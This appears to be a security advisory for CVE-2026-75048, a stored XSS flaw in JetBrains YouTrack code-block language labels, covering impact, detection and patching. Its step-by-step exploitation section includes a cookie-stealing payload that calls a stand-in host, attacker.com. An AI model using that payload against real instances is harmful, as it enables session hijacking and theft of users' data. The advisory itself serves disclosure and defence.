CVE-2026-75048: 
YouTrack vulnerability analysis and mitigation

CVE-2026-75048 is a stored cross-site scripting (XSS) vulnerability in JetBrains YouTrack affecting all versions before 2026.2.18068. The flaw allows an unauthenticated attacker to inject malicious JavaScript via the fenced code-block language label field, which is then stored and executed in the browsers of other users who view the affected content. It was published on August 17, 2026, with a patch released in version 2026.2.18068. The vulnerability carries a CVSS v3.1 base score of 8.2 (High) (GitHub Advisory, JetBrains).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The attack vector is network-based and requires no privileges, but does require user interaction (a victim must view the malicious content). An attacker crafts a fenced code block with a malicious language label (e.g., ```<script>...</script>) in YouTrack content such as issues or articles; the application fails to properly sanitize this label before rendering it in other users' browsers, causing the injected script to execute in the context of the YouTrack web application with a changed scope (GitHub Advisory, JetBrains).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of YouTrack users who view the compromised content. The primary impact is high confidentiality loss — attackers can steal session tokens, authentication cookies, and personal data — along with low integrity impact through unauthorized actions performed on behalf of victims within the YouTrack system. Availability is not directly affected, but account takeover or data exfiltration could have downstream consequences for project management and sensitive development data stored in YouTrack (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, reflecting a currently low probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires no authentication but does require a victim to view attacker-controlled content, limiting automated exploitation (GitHub Advisory).

1. Identify target: Locate a JetBrains YouTrack instance running a version prior to 2026.2.18068 that allows unauthenticated or low-privilege users to create or edit issues, articles, or other content with Markdown support.
2. Craft malicious payload: Create a fenced code block where the language label contains a JavaScript payload, for example:

```<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>

3. Submit content: Post the crafted content to a YouTrack issue, article, or comment that other users are likely to view (e.g., a high-traffic project issue or shared knowledge base article).
4. Wait for victim interaction: When a target user (e.g., a project administrator or developer) views the page, the malicious script executes in their browser within the YouTrack application context.
5. Harvest data: The script exfiltrates session cookies, tokens, or other sensitive data to an attacker-controlled server, enabling session hijacking or further unauthorized actions within YouTrack (GitHub Advisory).

• Network: Outbound HTTP requests from user browsers to unexpected external domains immediately after viewing YouTrack content; unusual GET/POST requests containing URL-encoded cookie or token data to attacker-controlled infrastructure.
• Logs: YouTrack access logs showing content submissions with unusual language label values in fenced code blocks (e.g., labels containing <script>, onerror, javascript:, or HTML event handlers).
• Application: Unexpected session activity from user accounts (logins from new IPs, unusual API calls) shortly after viewing specific YouTrack issues or articles.
• Browser: Browser developer tool network logs showing requests to external domains triggered by YouTrack page loads.

The primary remediation is to upgrade JetBrains YouTrack to version 2026.2.18068 or later, which contains the fix for this vulnerability (JetBrains, GitHub Advisory). As a temporary workaround, administrators can restrict the ability of untrusted or unauthenticated users to create or edit content containing code blocks, and implement strict Content Security Policy (CSP) headers to limit the impact of any XSS execution. Educating users to be cautious about viewing content from untrusted sources within YouTrack is also advisable until patching is complete.

The vulnerability was disclosed by JetBrains on August 17, 2026, via their official security issues page and the GitHub Advisory Database. No notable independent researcher commentary or significant social media discussion has been observed beyond automated CVE tracking feeds and aggregators such as CVEFeed and Vulners (GitHub Advisory, JetBrains).